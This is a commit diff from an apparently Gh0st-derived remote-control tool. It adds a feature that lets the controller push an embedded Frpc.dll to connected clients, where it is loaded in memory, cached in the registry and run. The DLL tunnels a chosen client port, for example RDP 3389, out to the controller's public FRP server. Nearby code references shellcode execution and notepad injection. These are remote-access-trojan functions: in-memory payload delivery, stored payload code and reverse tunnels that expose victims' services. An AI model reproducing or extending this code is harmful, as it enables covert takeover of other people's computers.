Feature: Use frpc.dll to proxy client's TCP port

This commit is contained in:
yuanyuanxiang
2025-12-22 20:02:57 +01:00
parent 5a33628b92
commit d580d282d8
12 changed files with 299 additions and 49 deletions

View File

@@ -536,6 +536,10 @@ DWORD WINAPI StartClient(LPVOID lParam)
CloseHandle(app.g_hEvent);
app.g_hEvent = NULL;
}
if (app.g_bExit == S_CLIENT_EXIT) {
CKernelManager::g_IsAppExit = 2;
Sleep(200);
}
Mprintf("StartClient end\n");
delete ClientObject;

View File

@@ -21,6 +21,8 @@
#pragma comment(lib, "urlmon.lib")
int CKernelManager::g_IsAppExit = FALSE;
// UDP 协议仅能针对小包数据,且数据没有时序关联
IOCPClient* NewNetClient(CONNECT_ADDRESS* conn, State& bExit, const std::string& publicIP, bool exit_while_disconnect)
{
@@ -139,21 +141,25 @@ BOOL WriteBinaryToFile(const char* data, ULONGLONG size, const char* name = "Ser
return TRUE;
}
typedef struct DllExecParam {
DllExecuteInfo info;
template <typename T = DllExecuteInfo>
class DllExecParam {
public:
T *info;
PluginParam param;
BYTE* buffer;
CManager* manager;
DllExecParam(const DllExecuteInfo& dll, const PluginParam& arg, BYTE* data, CManager* m) : info(dll), param(arg), manager(m)
DllExecParam(const T& dll, const PluginParam& arg, BYTE* data, CManager* m) : info(new T()), param(arg), manager(m)
{
buffer = new BYTE[info.Size];
memcpy(buffer, data, info.Size);
buffer = new BYTE[dll.Size];
memcpy(buffer, data, dll.Size);
memcpy(info, &dll, sizeof(dll));
}
~DllExecParam()
{
SAFE_DELETE_ARRAY(buffer);
SAFE_DELETE(info);
}
} DllExecParam;
};
class MemoryDllRunner : public DllRunner
@@ -177,14 +183,23 @@ public:
}
};
typedef int (*RunSimpleTcpFunc)(
const char* privilegeKey,
long timestamp,
const char* serverAddr,
int serverPort,
int localPort,
int remotePort,
int* statusPtr
);
DWORD WINAPI ExecuteDLLProc(LPVOID param)
{
DllExecParam* dll = (DllExecParam*)param;
DllExecuteInfo info = dll->info;
DllExecParam<>* dll = (DllExecParam<>*)param;
DllExecuteInfo info = *(dll->info);
PluginParam pThread = dll->param;
CManager* This = dll->manager;
#ifdef _DEBUG
#if _DEBUG
WriteBinaryToFile((char*)dll->buffer, info.Size, info.Name);
DllRunner* runner = new DefaultDllRunner(info.Name);
#else
@@ -208,9 +223,29 @@ DWORD WINAPI ExecuteDLLProc(LPVOID param)
}
break;
}
case CALLTYPE_FRPC_CALL: {
RunSimpleTcpFunc proc = module ? (RunSimpleTcpFunc)runner->GetProcAddress(module, "RunSimpleTcp") : NULL;
char* user = (char*)dll->param.User;
FrpcParam* f = (FrpcParam*)user;
if (proc) {
Mprintf("MemoryGetProcAddress '%s' %s\n", info.Name, proc ? "success" : "failed");
int r=proc(f->privilegeKey, f->timestamp, f->serverAddr, f->serverPort, f->localPort, f->remotePort,
&CKernelManager::g_IsAppExit);
if (r) {
char buf[100];
sprintf_s(buf, "Run %s [proxy %d] failed: %d", info.Name, f->localPort, r);
Mprintf("%s\n", buf);
ClientMsg msg("代理端口", buf);
This->SendData((LPBYTE)&msg, sizeof(msg));
}
}
SAFE_DELETE_ARRAY(user);
break;
}
default:
break;
}
if (info.CallType != CALLTYPE_FRPC_CALL)
runner->FreeLibrary(module);
} else if (info.RunType == SHELLCODE) {
bool flag = info.CallType == CALLTYPE_IOCPTHREAD;
@@ -532,6 +567,50 @@ std::string getHardwareIDByCfg(const std::string& pwdHash, const std::string& ma
return "";
}
template<typename T = DllExecuteInfo>
BOOL ExecDLL(CKernelManager *This, PBYTE szBuffer, ULONG ulLength, void *user) {
static std::map<std::string, std::vector<BYTE>> m_MemDLL;
const int sz = 1 + sizeof(T);
if (ulLength < sz) return FALSE;
const T* info = (T*)(szBuffer + 1);
const char* md5 = info->Md5;
auto find = m_MemDLL.find(md5);
if (find == m_MemDLL.end() && ulLength == sz) {
iniFile cfg(CLIENT_PATH);
auto md5 = cfg.GetStr("settings", info->Name + std::string(".md5"));
if (md5.empty() || md5 != info->Md5 || !This->m_conn->IsVerified()) {
// 第一个命令没有包含DLL数据需客户端检测本地是否已经有相关DLL没有则向主控请求执行代码
This->m_ClientObject->Send2Server((char*)szBuffer, ulLength);
return TRUE;
}
Mprintf("Execute local DLL from registry: %s\n", md5.c_str());
binFile bin(CLIENT_PATH);
auto local = bin.GetStr("settings", info->Name + std::string(".bin"));
const BYTE* bytes = reinterpret_cast<const BYTE*>(local.data());
m_MemDLL[md5] = std::vector<BYTE>(bytes + sz, bytes + sz + info->Size);
find = m_MemDLL.find(md5);
}
BYTE* data = find != m_MemDLL.end() ? find->second.data() : NULL;
if (info->Size == ulLength - sz) {
if (md5[0]) {
m_MemDLL[md5] = std::vector<BYTE>(szBuffer + sz, szBuffer + sz + info->Size);
iniFile cfg(CLIENT_PATH);
cfg.SetStr("settings", info->Name + std::string(".md5"), md5);
binFile bin(CLIENT_PATH);
std::string buffer(reinterpret_cast<const char*>(szBuffer), ulLength);
bin.SetStr("settings", info->Name + std::string(".bin"), buffer);
Mprintf("Save DLL to registry: %s\n", md5);
}
data = szBuffer + sz;
}
if (data) {
PluginParam param(This->m_conn->ServerIP(), This->m_conn->ServerPort(), &This->g_bExit, user);
CloseHandle(__CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam<T>(*info, param, data, This), 0, NULL));
Mprintf("Execute '%s'%d succeed - Length: %d\n", info->Name, info->CallType, info->Size);
}
return data != NULL;
}
VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
{
bool isExit = szBuffer[0] == COMMAND_BYE || szBuffer[0] == SERVER_EXIT;
@@ -657,47 +736,25 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength)
break;
}
case CMD_EXECUTE_DLL: {
static std::map<std::string, std::vector<BYTE>> m_MemDLL;
const int sz = 1 + sizeof(DllExecuteInfo);
if (ulLength < sz)break;
DllExecuteInfo* info = (DllExecuteInfo*)(szBuffer + 1);
const char* md5 = info->Md5;
auto find = m_MemDLL.find(md5);
if (find == m_MemDLL.end() && ulLength == sz) {
iniFile cfg(CLIENT_PATH);
auto md5 = cfg.GetStr("settings", info->Name + std::string(".md5"));
if (md5.empty() || md5 != info->Md5 || !m_conn->IsVerified()) {
// 第一个命令没有包含DLL数据需客户端检测本地是否已经有相关DLL没有则向主控请求执行代码
m_ClientObject->Send2Server((char*)szBuffer, ulLength);
break;
}
Mprintf("Execute local DLL from registry: %s\n", md5.c_str());
binFile bin(CLIENT_PATH);
auto local = bin.GetStr("settings", info->Name + std::string(".bin"));
const BYTE* bytes = reinterpret_cast<const BYTE*>(local.data());
m_MemDLL[md5] = std::vector<BYTE>(bytes + sz, bytes + sz + info->Size);
find = m_MemDLL.find(md5);
}
BYTE* data = find != m_MemDLL.end() ? find->second.data() : NULL;
if (info->Size == ulLength - sz) {
if (md5[0]) {
m_MemDLL[md5] = std::vector<BYTE>(szBuffer + sz, szBuffer + sz + info->Size);
iniFile cfg(CLIENT_PATH);
cfg.SetStr("settings", info->Name + std::string(".md5"), md5);
binFile bin(CLIENT_PATH);
std::string buffer(reinterpret_cast<const char*>(szBuffer), ulLength);
bin.SetStr("settings", info->Name + std::string(".bin"), buffer);
Mprintf("Save DLL to registry: %s\n", md5);
}
data = szBuffer + sz;
}
if (data) {
PluginParam param(m_conn->ServerIP(), m_conn->ServerPort(), &g_bExit, m_conn);
CloseHandle(__CreateThread(NULL, 0, ExecuteDLLProc, new DllExecParam(*info, param, data, this), 0, NULL));
Mprintf("Execute '%s'%d succeed - Length: %d\n", info->Name, info->CallType, info->Size);
if (!ExecDLL(this, szBuffer, ulLength, m_conn)) {
Mprintf("CKernelManager ExecDLL failed: %d bytes\n", ulLength);
}
break;
}
case CMD_EXECUTE_DLL_NEW: {
if (sizeof(szBuffer) == 4) {
Mprintf("CKernelManager ExecDLL failed: NOT x64 client\n");
break;
}
DllExecuteInfoNew* info = ulLength > sizeof(DllExecuteInfoNew) ? (DllExecuteInfoNew*)(szBuffer + 1) : 0;
char* user = info ? new char[400] : 0;
if (user == NULL) break;;
if (info) memcpy(user, info->Parameters, 400);
if (!ExecDLL<DllExecuteInfoNew>(this, szBuffer, ulLength, user)) {
Mprintf("CKernelManager ExecDLL failed: received %d bytes\n", ulLength);
}
break;
}
case TOKEN_PRIVATESCREEN: {
char h[100] = {};

View File

@@ -139,6 +139,7 @@ public:
ULONG m_ulThreadCount;
UINT GetAvailableIndex();
State& g_bExit; // Hide base class variable
static int g_IsAppExit;
MasterSettings m_settings;
RttEstimator m_nNetPing; // <20><><EFBFBD><EFBFBD>״<EFBFBD><D7B4>
// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>

View File

@@ -270,6 +270,7 @@ enum {
CMD_EXECUTE_DLL = 240, // ִ<>д<EFBFBD><D0B4><EFBFBD>
TOKEN_CLIENT_MSG = 241, // <20>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD><EFBFBD>Ϣ
CMD_SET_GROUP = 242, // <20>޸ķ<DEB8><C4B7><EFBFBD>
CMD_EXECUTE_DLL_NEW = 243, // ִ<>д<EFBFBD><D0B4><EFBFBD>
};
enum MachineCommand {
@@ -909,6 +910,38 @@ typedef struct DllExecuteInfo {
char Is32Bit; // <20>Ƿ<EFBFBD>32λDLL
char Reseverd[18];
} DllExecuteInfo;
typedef struct DllExecuteInfoNew {
int RunType; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
int Size; // DLL <20><>С
int CallType; // <20><><EFBFBD>÷<EFBFBD>ʽ
char Name[32]; // DLL <20><><EFBFBD><EFBFBD>
char Md5[33]; // DLL MD5
int Pid; // <20><>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ID
char Is32Bit; // <20>Ƿ<EFBFBD>32λDLL
char Reseverd[18];
char Parameters[400];
} DllExecuteInfoNew;
inline void SetParameters(DllExecuteInfoNew *p, char *param, int size) {
memcpy(p->Parameters, param, min(size, 400));
}
typedef struct FrpcParam {
char privilegeKey[36];
uint64_t timestamp;
char serverAddr[64];
int serverPort;
int localPort;
int remotePort;
FrpcParam(const char* key, uint64_t time, const char* addr, int serverPort, int localPort, int remotePort) {
strcpy_s(privilegeKey, key);
strcpy_s(serverAddr, addr);
this->timestamp = time;
this->serverPort = serverPort;
this->localPort = localPort;
this->remotePort = remotePort;
}
}FrpcParam;
#pragma pack(pop)
enum {
@@ -920,6 +953,7 @@ enum {
CALLTYPE_DEFAULT = 0, // Ĭ<>ϵ<EFBFBD><CFB5>÷<EFBFBD>ʽ: ֻ<>Ǽ<EFBFBD><C7BC><EFBFBD>DLL,<2C><>Ҫ<EFBFBD><D2AA>DLL<4C><4C><EFBFBD><EFBFBD>ʱִ<CAB1>д<EFBFBD><D0B4><EFBFBD>
CALLTYPE_IOCPTHREAD = 1, // <20><><EFBFBD><EFBFBD>run<75><6E><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD>: DWORD (__stdcall *run)(void* lParam)
CALLTYPE_FRPC_CALL = 2, // <20><><EFBFBD><EFBFBD>FRPC
};
typedef DWORD(__stdcall* PidCallback)(void);

Binary file not shown.

View File

@@ -55,6 +55,7 @@
#define TIMER_CLOSEWND 2
#define TODO_NOTICE MessageBoxA("This feature has not been implemented!\nPlease contact: 962914132@qq.com", "提示", MB_ICONINFORMATION);
#define TINY_DLL_NAME "TinyRun.dll"
#define FRPC_DLL_NAME "Frpc.dll"
typedef struct {
const char* szTitle; //列表的名称
@@ -324,6 +325,26 @@ DllInfo* ReadTinyRunDll(int pid)
return new DllInfo{ name, buf };
}
DllInfo* ReadFrpcDll()
{
std::string name = FRPC_DLL_NAME;
DWORD fileSize = 0;
BYTE* dllData = ReadResource(IDR_BINARY_FRPC, fileSize);
// 设置输出参数
auto md5 = CalcMD5FromBytes(dllData, fileSize);
DllExecuteInfoNew info = { MEMORYDLL, fileSize, CALLTYPE_FRPC_CALL };
memcpy(info.Name, name.c_str(), name.length());
memcpy(info.Md5, md5.c_str(), md5.length());
BYTE* buffer = new BYTE[1 + sizeof(DllExecuteInfoNew) + fileSize];
buffer[0] = CMD_EXECUTE_DLL_NEW;
memcpy(buffer + 1, &info, sizeof(DllExecuteInfoNew));
memcpy(buffer + 1 + sizeof(DllExecuteInfoNew), dllData, fileSize);
Buffer* buf = new Buffer(buffer, 1 + sizeof(DllExecuteInfoNew) + fileSize, 0, md5);
SAFE_DELETE_ARRAY(dllData);
SAFE_DELETE_ARRAY(buffer);
return new DllInfo{ name, buf };
}
std::vector<DllInfo*> ReadAllDllFilesWindows(const std::string& dirPath)
{
std::vector<DllInfo*> result;
@@ -421,6 +442,7 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogEx(CMy2015RemoteDlg::I
m_bmOnline[16].LoadBitmap(IDB_BITMAP_PDESKTOP);
m_bmOnline[17].LoadBitmap(IDB_BITMAP_REGROUP);
m_bmOnline[18].LoadBitmap(IDB_BITMAP_INJECT);
m_bmOnline[19].LoadBitmap(IDB_BITMAP_PORTPROXY);
for (int i = 0; i < PAYLOAD_MAXTYPE; i++) {
m_ServerDLL[i] = nullptr;
@@ -579,7 +601,8 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx)
ON_COMMAND(ID_ONLINE_INJ_NOTEPAD, &CMy2015RemoteDlg::OnOnlineInjNotepad)
ON_COMMAND(ID_PARAM_LOGIN_NOTIFY, &CMy2015RemoteDlg::OnParamLoginNotify)
ON_COMMAND(ID_PARAM_ENABLE_LOG, &CMy2015RemoteDlg::OnParamEnableLog)
END_MESSAGE_MAP()
ON_COMMAND(ID_PROXY_PORT, &CMy2015RemoteDlg::OnProxyPort)
END_MESSAGE_MAP()
// CMy2015RemoteDlg 消息处理程序
@@ -1672,6 +1695,7 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult)
Menu.SetMenuItemBitmaps(ID_ONLINE_PRIVATE_SCREEN, MF_BYCOMMAND, &m_bmOnline[16], &m_bmOnline[16]);
Menu.SetMenuItemBitmaps(ID_ONLINE_REGROUP, MF_BYCOMMAND, &m_bmOnline[17], &m_bmOnline[17]);
Menu.SetMenuItemBitmaps(ID_ONLINE_INJ_NOTEPAD, MF_BYCOMMAND, &m_bmOnline[18], &m_bmOnline[18]);
Menu.SetMenuItemBitmaps(ID_PROXY_PORT, MF_BYCOMMAND, &m_bmOnline[19], &m_bmOnline[19]);
std::string masterHash(GetMasterHash());
if (GetPwdHash() != masterHash) {
@@ -2420,6 +2444,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
break;
}
case CMD_EXECUTE_DLL: { // 请求DLL执行代码【L】
case CMD_EXECUTE_DLL_NEW:
DllExecuteInfo *info = (DllExecuteInfo*)ContextObject->InDeCompressedBuffer.GetBuffer(1);
if (std::string(info->Name) == TINY_DLL_NAME) {
auto tinyRun = ReadTinyRunDll(info->Pid);
@@ -2428,6 +2453,13 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
SAFE_DELETE(tinyRun);
break;
}
else if (std::string(info->Name) == FRPC_DLL_NAME) {
auto frpc = ReadFrpcDll();
Buffer* buf = frpc->Data;
ContextObject->Send2Client(buf->Buf(), frpc->Data->length());
SAFE_DELETE(frpc);
break;
}
for (std::vector<DllInfo*>::const_iterator i=m_DllList.begin(); i!=m_DllList.end(); ++i) {
DllInfo* dll = *i;
if (dll->Name == info->Name) {
@@ -4351,3 +4383,122 @@ void CMy2015RemoteDlg::OnParamEnableLog()
THIS_CFG.SetInt("settings", "EnableLog", m_settings.EnableLog);
SendMasterSettings(nullptr);
}
bool IsDateGreaterOrEqual(const char* date1, const char* date2)
{
const char* months[] = {
"Jan", "Feb", "Mar", "Apr", "May", "Jun",
"Jul", "Aug", "Sep", "Oct", "Nov", "Dec"
};
auto parseDate = [&months](const char* date, int& year, int& month, int& day) {
char mon[4] = { 0 };
sscanf(date, "%3s %d %d", mon, &day, &year);
month = 0;
for (int i = 0; i < 12; i++) {
if (strcmp(mon, months[i]) == 0) {
month = i + 1;
break;
}
}
};
int y1, m1, d1, y2, m2, d2;
parseDate(date1, y1, m1, d1);
parseDate(date2, y2, m2, d2);
if (y1 != y2) return y1 >= y2;
if (m1 != m2) return m1 >= m2;
return d1 >= d2;
}
#include <string>
#include <cstdio>
#include <windows.h>
#include <wincrypt.h>
#pragma comment(lib, "advapi32.lib")
std::string GetAuthKey(const char* token, long long timestamp)
{
char tsStr[32];
sprintf_s(tsStr, "%lld", timestamp);
HCRYPTPROV hProv = 0;
HCRYPTHASH hHash = 0;
std::string result;
if (CryptAcquireContextW(&hProv, nullptr, nullptr, PROV_RSA_FULL, CRYPT_VERIFYCONTEXT))
{
if (CryptCreateHash(hProv, CALG_MD5, 0, 0, &hHash))
{
CryptHashData(hHash, (BYTE*)token, (DWORD)strlen(token), 0);
CryptHashData(hHash, (BYTE*)tsStr, (DWORD)strlen(tsStr), 0);
BYTE hash[16];
DWORD cbHash = sizeof(hash);
if (CryptGetHashParam(hHash, HP_HASHVAL, hash, &cbHash, 0))
{
char hex[33];
for (int i = 0; i < 16; i++)
sprintf_s(hex + i * 2, 3, "%02x", hash[i]);
result = hex;
}
CryptDestroyHash(hHash);
}
CryptReleaseContext(hProv, 0);
}
return result;
}
// 基于FRP将客户端端口代理到主控程序的公网
// 例如代理3389端口即可通过 mstsc.exe 进行远程访问
void CMy2015RemoteDlg::OnProxyPort()
{
BOOL useFrp = THIS_CFG.GetInt("frp", "UseFrp", 0);
std::string pwd = THIS_CFG.GetStr("frp", "token", "");
std::string ip = THIS_CFG.GetStr("settings", "master", "");
if (!useFrp || pwd.empty() || ip.empty()) {
MessageBoxA("需要正确启用FRP反向代理方可使用此功能!", "提示", MB_ICONINFORMATION);
return;
}
CInputDialog dlg(this);
dlg.Init("代理端口", "请输入客户端端口:");
if (IDOK != dlg.DoModal() || atoi(dlg.m_str) <= 0 || atoi(dlg.m_str) >= 65536) {
return;
}
uint64_t timestamp = time(nullptr);
std::string key = GetAuthKey(pwd.c_str(), timestamp);
int serverPort = THIS_CFG.GetInt("frp", "server_port", 7000);
int localPort = atoi(dlg.m_str);
auto frpc = ReadFrpcDll();
FrpcParam param(key.c_str(), timestamp, ip.c_str(), serverPort, localPort, localPort);
EnterCriticalSection(&m_cs);
POSITION Pos = m_CList_Online.GetFirstSelectedItemPosition();
while (Pos) {
int iItem = m_CList_Online.GetNextSelectedItem(Pos);
context* ctx = (context*)m_CList_Online.GetItemData(iItem);
if (!ctx->IsLogin())
continue;
CString date = ctx->GetClientData(ONLINELIST_VERSION);
if (IsDateGreaterOrEqual(date, "Dec 22 2025")) {
Buffer* buf = frpc->Data;
BYTE cmd[1 + sizeof(DllExecuteInfoNew)] = {0};
memcpy(cmd, buf->Buf(), 1 + sizeof(DllExecuteInfoNew));
DllExecuteInfoNew* p = (DllExecuteInfoNew*)(cmd + 1);
SetParameters(p, (char*)&param, sizeof(param));
ctx->Send2Client(cmd, 1 + sizeof(DllExecuteInfoNew));
}
else {
PostMessageA(WM_SHOWNOTIFY, (WPARAM)new CharMsg("版本不支持"),
(LPARAM)new CharMsg("客户端版本最低要求: " + CString("Dec 22 2025")));
}
break;
}
LeaveCriticalSection(&m_cs);
SAFE_DELETE(frpc);
MessageBoxA(CString("请通过") + ip.c_str() + ":" + std::to_string(localPort).c_str() + "访问代理端口!",
"提示", MB_ICONINFORMATION);
}

View File

@@ -248,7 +248,7 @@ public:
CRITICAL_SECTION m_cs;
BOOL isClosed;
CMenu m_MainMenu;
CBitmap m_bmOnline[19];
CBitmap m_bmOnline[20];
uint64_t m_superID;
std::map<HWND, CDialogBase *> m_RemoteWnds;
CDialogBase* GetRemoteWindow(HWND hWnd);
@@ -381,4 +381,5 @@ public:
afx_msg void OnOnlineInjNotepad();
afx_msg void OnParamLoginNotify();
afx_msg void OnParamEnableLog();
afx_msg void OnProxyPort();
};

View File

@@ -425,6 +425,7 @@
<Image Include="res\Bitmap\DxgiDesktop.bmp" />
<Image Include="res\Bitmap\EditGroup.bmp" />
<Image Include="res\Bitmap\GrayDesktop.bmp" />
<Image Include="res\Bitmap\HostProxy.bmp" />
<Image Include="res\Bitmap\Inject.bmp" />
<Image Include="res\Bitmap\note.bmp" />
<Image Include="res\Bitmap\PrivateScreen.bmp" />

View File

@@ -177,6 +177,7 @@
<Image Include="res\Bitmap\PrivateScreen.bmp" />
<Image Include="res\Bitmap\EditGroup.bmp" />
<Image Include="res\Bitmap\Inject.bmp" />
<Image Include="res\Bitmap\HostProxy.bmp" />
</ItemGroup>
<ItemGroup>
<None Include="..\..\Release\ghost.exe" />

Binary file not shown.

After

Width:  |  Height:  |  Size: 1.3 KiB

Binary file not shown.

Binary file not shown.